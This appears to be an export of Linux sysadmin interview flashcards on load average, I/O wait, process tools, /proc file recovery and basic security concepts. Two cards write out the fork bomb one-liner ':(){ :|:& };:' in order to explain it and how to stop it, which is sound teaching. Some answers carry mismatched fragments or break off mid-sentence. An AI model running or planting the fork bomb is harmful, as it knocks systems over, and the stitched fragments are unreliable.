Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Linux load average includes blocked I/O, not just runnable processes]]
* [[What is load average?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
Q: How would you debug high load average with almost no CPU usage?
A: High load with low CPU indicates processes in uninterruptible sleep (D state), typically waiting on I/O.
Diagnostic approach:
# Identify D state processes: <html><code>top</code></html> or <html><code>htop</code></html> - look for 'D' in state column
# Check I/O metrics: <html><code>iostat -x 1</code></html> - look at %util, await, avgqu-sz
# System overview: <html><code>vmstat 1</code></html> - check 'b' column (blocked processes)
4.
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[A Linux server is slow. Where do you start?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
* [[Load average is a blunt instrument without resource decomposition]]
Q: Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent idle. One of the common causes of this condition is? How to debug and fixed?
A: Requests which involve disk I/O can be slowed greatly if cpu(s) needs to wait on the disk to read or write data. I/O Wait, is the percentage of time the CPU has to wait on disk.
Lets looks at how we can confirm if disk I/O is slowing down application performance by using a few terminal command line tools (<html><code>top</code></html>, <html><code>atop</code></html> and <html><code>iotop</code></html>).
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[How to check what is the current load average?]]
* [[You found a server with high CPU load but it's not clear which process is causing it. H…]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
Q: A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. What does this indicate?
A: High load average with low CPU utilization means most of the load is from processes in uninterruptible sleep (D state), not from CPU work. These processes are blocked on I/O — typically disk, NFS, or SAN. The load average counts both runnable and D-state processes. Confirm with <html><code>vmstat 1</code></html> (check the <html><code>b</code></html> column for blocked processes) and <html><code>iostat -xz 1</code></html> to identify the saturated device.
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Linux load average includes blocked I/O, not just runnable processes]]
* [[How do you interpret load average?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
Q: You have added several aliases to <html><code>.profile</code></html>. How to reload shell without exit?
A: The best way is <html><code>exec $SHELL -l</code></html> because <html><code>exec</code></html> replaces the current process with a new one. Also good (but other) solution is <html><code>. ~/.profile</code></html>.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Explain `:(){ :|:& };:` and how stop this code if you are already logged into a system?]]
* [[Running the command df you get "command not found". What could be wrong and how to fix it?]]
* [[You executed a script and while still running, it got accidentally removed. Is it possi…]]
Q: What is the difference between CPU load and utilization?
A: They measure different things:
CPU Utilization:
* Percentage of time CPU is busy (0-100%)
* Measured by: top, mpstat
CPU Load (Load Average):
* Number of processes wanting CPU + waiting for I/O
* Can exceed number of cores
* Measured by: uptime, /proc/loadavg
Key insight: Linux load includes D-state (I/O wait) processes.
* High load + low CPU util = I/O bottleneck
* High load + high CPU util = CPU bottleneck
Remember: CPU: us(user), sy(system), wa(IO wait), st(stolen). High wa = disk problem.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What is the difference between `uptime` load average and CPU utilization?]]
* [[A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely wha…]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
Q: A Linux server is slow. Where do you start?
A: Systematic approach - don't guess, validate bottlenecks:
# ''Load'': <html><code>uptime</code></html> - is the system under pressure?
# ''CPU'': <html><code>top</code></html>/<html><code>htop</code></html> - check steal time (VM), iowait, user vs system
# ''Memory'': <html><code>free -h</code></html>, check for swapping (<html><code>vmstat 1</code></html>)
# ''Disk I/O'': <html><code>iostat -x 1</code></html>, <html><code>iotop</code></html> - check await, %util
# ''Network'': <html><code>ss -s</code></html>, <html><code>iftop</code></html> if network-bound
6.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[How would you debug high load average with almost no CPU usage?]]
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
Q: What does CPU jumps mean?
A: An OS is a very busy thing, particularly so when you have it doing something (and even when you aren't). And when we are looking at an active enterprise environment, something is always going on.
Most of this activity is "bursty", meaning processes are typically quiescent with short periods of intense activity. This is certainly true of any type of network-based activity (e.g.
Remember: CPU: us(user), sy(system), wa(IO wait), st(stolen). High wa = disk problem.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[You found a server with high CPU load but it's not clear which process is causing it. H…]]
* [[What is CPU steal time?]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
Q: How do you trace system calls?
A: <html><code>strace <cmd></code></html> or <html><code>strace -f -p <pid></code></html>.
Use <html><code>-e</code></html> filters. For lower overhead: <html><code>perf trace</code></html>.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Using system call tracing to debug when application logs are unhelpful]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[How do you troubleshoot a Linux system that's acting slow?]]
Q: How you measure time execution of a program?
A: Several methods:
# time command: time ./program
** real = wall clock, user = user CPU, sys = kernel CPU
# /usr/bin/time -v: Detailed stats including memory
# perf stat: CPU cycles, cache misses
# hyperfine: Benchmarking with statistics
Interpretation:
* real > user+sys = I/O or sleep
* user+sys > real = multi-core
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Checking Linux memory and CPU stats]]
* [[How do you trace system calls?]]
Q: How to check what is the current load average?
A: One can use <html><code>uptime</code></html> or <html><code>top</code></html>
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[How do you interpret load average?]]
* [[Explain the difference between "Load Average" and "CPU Utilization."]]
Q: You found a server with high CPU load but it's not clear which process is causing it. How would you troubleshoot?
A: Systematic approach to find CPU hogs:
# Real-time monitoring:
** top (press 1 for per-CPU view)
** htop (more user-friendly)
** Look for high %CPU processes
# Sort by CPU:
** ps aux --sort=-%cpu | head
** ps -eo pid,ppid,%cpu,cmd --sort=-%cpu
# Check load average:
Remember: CPU: us(user), sy(system), wa(IO wait), st(stolen). High wa = disk problem.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
* [[How would you debug high load average with almost no CPU usage?]]
Q: Your first 5 commands on a *nix server after login.
A: - <html><code>w</code></html> - a lot of great information in there with the server uptime
* <html><code>top</code></html> - you can see all running processes, then order them by CPU, memory utilization and more
* <html><code>netstat</code></html> - to know on what port and IP your server is listening on and what processes are using those
* <html><code>df</code></html> - reports the amount of available disk space being used by file systems
* <html><code>history</code></html> - tell you what was previously run by the user you are currently connected to
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[First-contact reconnaissance of an unknown server]]
* [[How do you get a list of logged-in users?]]
* [[How to check which commands you executed in the past?]]
Q: How do you troubleshoot a Linux system that's acting slow?
A: I start by checking CPU, I/O wait, memory pressure, and storage latency — top, iostat, vmstat, dstat, and logs. Then I look at runaway processes, misbehaving services, and disk space. From there I verify systemd units, network paths, and kernel messages. My approach is always layered: symptoms → resource limits → logs → root cause.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[How do you trace system calls?]]
* [[Diagnose disk I/O bottlenecks via process activity, latency, and RAID status]]
* [[How would you debug high load average with almost no CPU usage?]]
Q: What do the three load average numbers represent in Linux (shown by <html><code>uptime</code></html> or <html><code>top</code></html>)?
A: The three numbers represent the average number of processes in a runnable or
uninterruptible state over 1, 5, and 15 minute intervals.
* 1-minute average: Short-term load, shows recent activity
* 5-minute average: Medium-term trend
* 15-minute average: Long-term trend
Interpretation on a single-core system:
* 1.0 = CPU is exactly at capacity
* Below 1.0 = CPU has idle time
Remember: top: PID, PR, NI, VIRT, RES, %CPU, %MEM. htop = prettier with mouse.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Load average is processes in runnable or uninterruptible sleep state]]
* [[What is load average?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
Q: What are you using for debugging CPU related issues?
A: <html><code>top</code></html> will show you how much CPU percentage each process consumes
<html><code>perf</code></html> is a great choice for sampling profiler and in general, figuring out what your CPU cycles are "wasted" on
<html><code>flamegraphs</code></html> is great for CPU consumption visualization (http://www.brendangregg.com/flamegraphs.html)
Remember: CPU: us(user), sy(system), wa(IO wait), st(stolen). High wa = disk problem.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[You found a server with high CPU load but it's not clear which process is causing it. H…]]
* [[Performance triage: uptime → vmstat → tool selection]]
Q: You get a call from someone claiming "my system is SLOW". What do you do?
A: * Check with <html><code>top</code></html> for anything unusual
* Run <html><code>dstat -t</code></html> to check if it's related to disk or network.
* Check if it's network related with <html><code>sar</code></html>
* Check I/O stats with <html><code>iostat</code></html>
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[Performance triage: uptime → vmstat → tool selection]]
* [[How would you debug high load average with almost no CPU usage?]]
Q: Explain interrupts and interrupt handlers in Linux.
A: Here's a high-level view of the low-level processing. I'm describing a simple typical architecture, real architectures can be more complex or differ in ways that don't matter at this level of detail.
When an ''interrupt'' occurs, the processor looks if interrupts are masked. If they are, nothing happens until they are unmasked.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What is `/proc/interrupts`?]]
* [[System call (syscall): user-space to kernel interface]]
* [[What are the Linux process states and their codes?]]
Q: Is there a way to allow multiple cross-domains using the Access-Control-Allow-Origin header in Nginx?
A: Yes. Use <html><code>if</code></html> blocks to match <html><code>$http_origin</code></html> against a regex of allowed domains, then set the header dynamically:
<html><pre><code class="language-plaintext">location / {
if ($http_origin ~* (^https?://([^/]+\.)*(domain1|domain2)\.com$)) {
add_header 'Access-Control-Allow-Origin' "$http_origin";
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
}
}</code></pre></html>
Key point: you cannot list multiple origins in a single <html><code>Access-Control-Allow-Origin</code></html> header. Instead, dynamically echo back the matched origin.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
Q: How to recover deleted file held open e.g. by Apache?
A: A deleted file that is still open retains its inode (hard link count = 0). Linux exposes open file descriptors via <html><code>/proc/<pid>/fd/<fd_num></code></html>. The symlink target shows the original path with <html><code>(deleted)</code></html> appended.
To recover: <html><code>cat /proc/<pid>/fd/<fd_num> > /path/to/recovered_file</code></html>
To find the fd: check <html><code>ls -l /proc/<pid>/fd/</code></html> or use <html><code>lsof | grep deleted</code></html>. You can iterate all open fds for a process or scan all processes under <html><code>/proc/[1-9]*/fd/*</code></html>.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Deleted open files hold disk space until last fd closes]]
* [[What happens when you delete a hard link?]]
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
Q: How do you recover a deleted file still held open by a process?
A: If a process still has the file open, the data exists in /proc.
# Find the process:
lsof | grep deleted_file
# or: lsof +L1 (list all deleted-but-open files)
# Find the file descriptor:
ls -la /proc/<PID>/fd/
# Look for the symlink pointing to '(deleted)'
# Recover the content:
cp /proc/<PID>/fd/<FD_NUM> /path/to/recovered_file
This works because Linux doesn't actually free disk blocks until all file descriptors are closed. The inode remains valid as long as any process holds a reference. For databases, use the process's own recovery mechanisms instead of raw fd copying.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[Deleted open files hold disk space until last fd closes]]
* [[How does Linux handle deleted-but-open files?]]
* [[You deleted an active log file (e.g. /var/log/apache2/access.log) but didn't restart th…]]
Q: Write two golden rules for reducing the impact of hacked system.
A: 1. ''Principle of Least Privilege'': Run services with the minimum permissions needed. If Apache is compromised, the attacker is limited to what the <html><code>apache</code></html> user can access — not root.
# ''Principle of Separation of Privileges'': Isolate components — e.g., give the web app a read-only database account. Use SELinux or AppArmor to enforce mandatory access controls. Whitelist allowed actions rather than blacklisting bad ones to reduce attack surface.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Do you have experience with hardening servers? Can you describe the process?]]
Q: Explain <html><code>:(){ :|:& };:</code></html> and how stop this code if you are already logged into a system?
A: It is a ''fork bomb''. <html><code>:()</code></html> defines a function named <html><code>:</code></html>. The body <html><code>:|:&</code></html> calls itself, pipes output to another copy of itself, and backgrounds it. The final <html><code>:</code></html> executes it, causing exponential process creation.
To stop it if already logged in:
* <html><code>killall -STOP -u <user></code></html> to freeze all user processes
* If the shell can't fork: <html><code>exec killall -STOP -u <user></code></html> (replaces the shell process)
Prevention: use PAM (<html><code>/etc/security/limits.conf</code></html>) to limit per-user process count (<html><code>nproc</code></html>).
Remember: top: PID, PR, NI, VIRT, RES, %CPU, %MEM. htop = prettier with mouse.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What happens when you run `:(){ :|:& };:` in a shell?]]
* [[Linux process management system calls]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
Q: What does the fork bomb :(){ :|:& };: do and how do you stop it?
A: :(){ :|:& };: defines a function ':' that calls itself twice, piped, in the background — exponentially spawning processes.
Breakdown:
:() — define function named ':'
{ :|:& } — body: call ':' piped to ':' in background
;: — end definition and invoke
Mitigation:
# Prevention: ulimit -u 100 (limit max processes per user)
Add to /etc/security/limits.conf:
* hard nproc 500
# Recovery (if you can get a shell):
killall -9 -u <username>
Or from another terminal/SSH session.
# If system is unresponsive:
Use SysRq keys: Alt+SysRq+F (OOM killer)
Or Alt+SysRq+REISUB for safe reboot.
PAM limits and cgroups are the proper defenses.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[What happens when you run `:(){ :|:& };:` in a shell?]]
* [[Linux process management system calls]]
* [[Name one reason for fork() to fail]]
Q: The team of admins needs your support. You must remotely reinstall the system on one of the main servers. There is no access to the management console (e.g. iDRAC). How to install Linux on disk, from and where other Linux exist and running?
A: Use <html><code>debootstrap</code></html> to install a minimal Linux into a working directory, chroot into it, then mount and wipe the old root filesystem, restore from backup, and reinstall GRUB.
High-level steps:
# <html><code>debootstrap</code></html> a minimal system to <html><code>/mnt/system</code></html>
# Bind-mount <html><code>/proc</code></html>, <html><code>/sys</code></html>, <html><code>/dev</code></html> and chroot in
# Mount the old root (e.g., <html><code>/dev/sda1</code></html>), delete old files, extract backup tarball
# Chroot into restored system, run <html><code>grub-install</code></html> and <html><code>update-grub</code></html>
# Reboot with <html><code>sync; reboot -f</code></html> (normal shutdown commands won't work from chroot)
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[How do you recover GRUB when the system won't boot?]]
* [[Emergency root access recovery via GRUB single-user and cloud recovery]]
* [[Recovering from catastrophic permission damage caused by recursive chmod]]
Q: What is the OWASP Top 10 and why does it matter for DevOps?
A: The OWASP Top 10 is a regularly updated list of the most critical web application security risks. Current top entries include: Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable Components, Authentication Failures, Software Integrity Failures, Logging Failures, and SSRF. DevOps teams use it to prioritize security testing in CI/CD pipelines and set security gates.
Remember: top: PID, PR, NI, VIRT, RES, %CPU, %MEM. htop = prettier with mouse.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
Q: What are the phases of incident response?
A: 1) Preparation: policies, tools, training, runbooks.
2) Identification: detect and confirm the incident via monitoring, alerts, or reports.
3) Containment: limit damage (short-term: isolate affected systems; long-term: apply temporary fixes).
4) Eradication: remove the root cause (malware, compromised accounts, vulnerabilities).
5) Recovery: restore systems to normal operation, verify integrity.
6) Lessons Learned: post-incident review, update procedures, improve defenses.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
Q: What is threat modeling and name a common framework for it.
A: Threat modeling is the process of identifying potential threats to a system during design. It answers: What are we building? What can go wrong? What are we going to do about it?
STRIDE is a common framework: Spoofing (identity), Tampering (data), Repudiation (deniability), Information Disclosure (confidentiality), Denial of Service (availability), Elevation of Privilege (authorization). Each maps to a security property to protect.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What are the phases of incident response?]]
Q: What is the difference between penetration testing and red teaming?
A: Penetration testing: scoped, time-boxed assessment of specific systems or applications. Goal is to find as many vulnerabilities as possible. The target team usually knows it is happening.
Red teaming: adversary simulation that tests the organization holistically (people, processes, technology). Goal is to test detection and response capabilities. Often covert, longer duration, uses social engineering and physical access. Red teams emulate real attackers; pen testers find bugs.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What is a bonding vs teaming?]]
* [[Red Hat family: distros, tooling, and enterprise positioning]]
Q: Explain the difference between symmetric and asymmetric encryption.
A: Symmetric: same key for encryption and decryption (e.g., AES). Fast, used for bulk data encryption. Challenge: secure key distribution.
Asymmetric: uses a key pair (public key encrypts, private key decrypts, e.g., RSA, ECDSA). Slower, used for key exchange, digital signatures, and TLS handshakes. In practice, TLS uses asymmetric crypto to exchange a symmetric session key, then uses symmetric crypto for the data.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
Q: How do you implement least privilege in cloud IAM?
A: 1) Start with zero permissions and add only what is needed; 2) Use managed policies scoped to specific services; 3) Avoid wildcard permissions (Resource: "*"); 4) Use conditions (IP range, MFA required, time-based); 5) Separate roles for different workloads; 6) Use IAM Access Analyzer to find unused permissions; 7) Regularly audit and remove stale permissions; 8) Prefer short-lived credentials (STS AssumeRole) over long-lived access keys.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
Q: Running the command df you get "command not found". What could be wrong and how to fix it?
A: Most likely the default $PATH was modified or overridden, so <html><code>/bin/</code></html> (where df lives) is missing.
Fix:
# Manually reset PATH: <html><code>PATH=/bin:/sbin:/usr/bin:/usr/sbin</code></html>
# Check what broke it: review <html><code>~/.bashrc</code></html>, <html><code>~/.bash_profile</code></html>, <html><code>/etc/profile</code></html>
# Fix the offending file and source it: <html><code>source ~/.bashrc</code></html>
To schedule periodic tasks, use <html><code>cron</code></html>:
<html><code>crontab -e</code></html> then add entries like: <html><code>*/30 * * * * bash myscript.sh</code></html>
Format: <html><code><min> <hour> <day> <month> <weekday> <command></code></html>. On systemd distros, consider systemd timers as an alternative.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[How do you schedule tasks periodically?]]
* [[Verify the purpose of cron jobs before disabling them]]
* [[Every command fails with `command not found`. How to trace the source of the error and …]]
Q: You define x=2 in /etc/bashrc and x=6 in ~/.bashrc. You then log in. What is the value of x?
A: x=6 (user's .bashrc overrides system bashrc)
Order of execution (login shell):
# /etc/profile
# ~/.bash_profile (or ~/.bash_login or ~/.profile)
** Often sources ~/.bashrc
# /etc/bashrc (typically sourced by .bashrc)
# ~/.bashrc
For login shells:
* System files first, user files after
* Later definitions override earlier ones
* x=2 set in /etc/bashrc
* x=6 set in ~/.bashrc (wins)
Important notes:
* Non-login shells may differ
* Depends on how files source each other
* .bashrc usually sources /etc/bashrc first
Result: x=6 (user config takes precedence)
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What files does a Bash login shell source?]]
* [[What files does a Bash interactive non-login shell source?]]
* [[What is the SHELL variable?]]
Q: Explain piping. How do you perform piping?
A: Using a pipe in Linux, allows you to send the output of one command to the input of another command. For example: <html><code>cat /etc/services | wc -l</code></html>
Example: <html><code>perf top</code></html> = live CPU hotspots. <html><code>perf record && perf report</code></html> for profiling.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Explain the pipe() system call. What does it used for?]]
* [[Explain Linux I/O redirection]]
Q: What does <html><code>LC_ALL=C</code></html> before command do? In what cases it will be useful?
A: <html><code>LC_ALL</code></html> is the environment variable that overrides all the other localisation settings. This sets all <html><code>LC_</code></html> type variables at once to a specified locale.
The main reason to set <html><code>LC_ALL=C</code></html> before command is that fine to simply get English output (general change the locale used by the command).
On the other hand, also important is to increase the speed of command execution with <html><code>LC_ALL=C</code></html> e.g. <html><code>grep</code></html> or <html><code>fgrep</code></html>. Using the <html><code>LC_ALL=C</code></html> locale increased our performance and brought command execution time down.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What is LC_ALL?]]
* [[What is the LANG variable?]]
Q: A Kubernetes node on AWS shows 8% <html><code>st</code></html> (steal time) in <html><code>top</code></html> but all pods report normal CPU usage via <html><code>kubectl top</code></html>. What is happening and what can you do?
A: Steal time means the underlying hypervisor is taking CPU cycles from the VM to serve other tenants. Pods report normal usage because cAdvisor measures CPU time consumed, not wall-clock time. The actual execution is slower because the VM is not getting all the CPU time it asks for. Solutions: resize to a dedicated/larger instance type, migrate the node, or use instances with dedicated tenancy. You cannot fix steal time from inside the VM.
Remember: top: PID, PR, NI, VIRT, RES, %CPU, %MEM. htop = prettier with mouse.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What does high `si` (software interrupts) in `top` indicate on a Kubernetes node, and w…]]
* [[CPU steal time: >5% indicates hypervisor overcommitment; cannot fix from inside VM]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
Q: A junior engineer sees 128 MB free in <html><code>top</code></html> and panics that the server is out of memory. The server has 16 GB total. Is this a real problem?
A: Almost certainly not. Linux aggressively uses free memory for page cache (buff/cache). The real question is what <html><code>avail Mem</code></html> shows — this includes reclaimable cache and buffers. If avail Mem is 11 GB, the server has plenty of memory. Only worry if avail Mem drops below ~10% of total AND swap is actively churning (check vmstat si/so columns).
Remember: top: PID, PR, NI, VIRT, RES, %CPU, %MEM. htop = prettier with mouse.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[MemAvailable is the only meaningful memory saturation metric]]
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[Active swapping (si/so) is the definitive check for memory pressure]]
Q: how to list all the processes running in your system?
A: The "ps" command can be used to list all the processes running in a system. The "ps aux" command provides a detailed list of all the processes, including the ones running in the background.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How do you find all processes owned by a specific user in Linux?]]
* [[How do you find out what command a running process was started with?]]
* [[Name at least five attributes every Linux process has.]]
Q: What is a process, and how do you list processes in Linux?
A: A process is an executing program. You can list processes with commands like ps -aux or use an interactive viewer like top.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Can you describe how processes are being created?]]
* [[Name at least five attributes every Linux process has.]]
* [[What is a process in Linux?]]
Q: What is the difference between a process and a thread?
A: Processes are independent; threads share resources within a process.
Process:
* Independent execution unit
* Own memory space (heap, stack)
* Own file descriptors
* Own PID
* Higher creation overhead
Under the hood: processes have separate address spaces (isolated). Threads share address space (can access each other's memory). Linux treats both as 'tasks' via clone().
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Explain Process Descriptor and Task Structure]]
* [[What is the difference between a process and a thread in terms of memory?]]
* [[Can you describe how processes are being created?]]
Q: Explain Kernel Threads
A: Kernel threads are processes that run entirely in kernel space.
Characteristics:
* No user-space address space (mm = NULL)
* Run kernel code only
* Created by kernel, not by user programs
* Visible in ps with brackets: [kthreadd], [ksoftirqd]
Common kernel threads:
* kthreadd: Parent of all kernel threads (PID 2)
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Can you describe how processes are being created?]]
* [[How a program executes a system call?]]
* [[Explain the exec() system call]]
Q: What happens during fork() vs exec()?
A: Two separate operations that are often used together:
''fork()'':
* Creates a new process (child) as copy of parent
* Uses copy-on-write for memory efficiency
* Child gets new PID, inherits file descriptors
* Returns twice: 0 to child, child PID to parent
''exec()'':
* Replaces current process image with new program
Under the hood: fork()=duplicate parent, exec()=replace child memory. fork+exec=launch.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[fork() is the Unix process creation primitive]]
* [[What is the exec() family of system calls?]]
* [[Can you describe how processes are being created?]]
